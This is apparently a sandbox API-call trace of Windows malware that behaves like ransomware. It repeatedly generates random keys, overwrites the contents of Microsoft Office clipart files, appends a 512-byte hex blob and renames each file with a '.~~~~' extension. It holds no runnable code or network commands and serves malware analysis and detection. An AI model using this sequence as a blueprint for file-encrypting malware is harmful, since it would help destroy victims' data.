	[0117.683] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.683] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.684] CloseHandle (hObject=0x148) returned 1
	[0117.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.684] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.~~~~")) returned 1
	[0117.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.685] GetLastError () returned 0x0
	[0117.687] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.688] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.688] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.688] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23767818629) returned 1
	[0117.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafa2cc50, dwHighDateTime=0x1d60e1e)) 
	[0117.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8f10
	[0117.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8f10 | out: hHeap=0x300000) returned 1
	[0117.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2ad8
	[0117.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.689] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.689] GetLastError () returned 0x0
	[0117.689] GetLastError () returned 0x0
	[0117.689] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.689] GetLastError () returned 0x0
	[0117.689] GetLastError () returned 0x0
	[0117.694] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffb486, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.695] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4b7a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4b7a, lpOverlapped=0x0) returned 1
	[0117.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.697] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.697] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.698] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.698] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.698] CloseHandle (hObject=0x148) returned 1
	[0117.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.698] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.~~~~")) returned 1
	[0117.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.700] GetLastError () returned 0x0
	[0117.700] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.702] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.702] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.702] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23769215541) returned 1
	[0117.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafa52db0, dwHighDateTime=0x1d60e1e)) 
	[0117.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8f48
	[0117.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8f48 | out: hHeap=0x300000) returned 1
	[0117.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2b70
	[0117.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.703] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.703] GetLastError () returned 0x0
	[0117.704] GetLastError () returned 0x0
	[0117.704] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.704] GetLastError () returned 0x0
	[0117.704] GetLastError () returned 0x0
	[0117.707] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffed9d2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.707] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1262e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1262e, lpOverlapped=0x0) returned 1
	[0117.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.709] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.709] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.710] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.710] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.710] CloseHandle (hObject=0x148) returned 1
	[0117.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.710] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.~~~~")) returned 1
	[0117.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.712] GetLastError () returned 0x0
	[0117.714] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.715] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.715] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.715] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23770540122) returned 1
	[0117.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafa78f10, dwHighDateTime=0x1d60e1e)) 
	[0117.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8f80
	[0117.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8f80 | out: hHeap=0x300000) returned 1
	[0117.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2c08
	[0117.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.716] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.717] GetLastError () returned 0x0
	[0117.717] GetLastError () returned 0x0
	[0117.717] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.717] GetLastError () returned 0x0
	[0117.717] GetLastError () returned 0x0
	[0117.720] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffff6986, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.720] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x967a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x967a, lpOverlapped=0x0) returned 1
	[0117.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.722] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.723] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.723] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.723] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.723] CloseHandle (hObject=0x148) returned 1
	[0117.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.723] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.~~~~")) returned 1
	[0117.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.725] GetLastError () returned 0x0
	[0117.725] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.726] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.726] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.727] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23771684718) returned 1
	[0117.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafa9f070, dwHighDateTime=0x1d60e1e)) 
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8fb8
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8fb8 | out: hHeap=0x300000) returned 1
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2ca0
	[0117.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.728] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.728] GetLastError () returned 0x0
	[0117.728] GetLastError () returned 0x0
	[0117.728] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.728] GetLastError () returned 0x0
	[0117.728] GetLastError () returned 0x0
	[0117.731] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffdd0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.731] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x22f4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x22f4, lpOverlapped=0x0) returned 1
	[0117.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.732] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.732] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.733] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.733] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.733] CloseHandle (hObject=0x148) returned 1
	[0117.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.733] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.~~~~")) returned 1
	[0117.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.735] GetLastError () returned 0x0
	[0117.735] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.737] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.737] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.737] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23772714564) returned 1
	[0117.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafa9f070, dwHighDateTime=0x1d60e1e)) 
	[0117.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8ff0
	[0117.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8ff0 | out: hHeap=0x300000) returned 1
	[0117.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2d38
	[0117.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.738] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.738] GetLastError () returned 0x0
	[0117.739] GetLastError () returned 0x0
	[0117.739] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.739] GetLastError () returned 0x0
	[0117.739] GetLastError () returned 0x0
	[0117.756] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffef85, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.756] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x107b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x107b, lpOverlapped=0x0) returned 1
	[0117.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.758] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
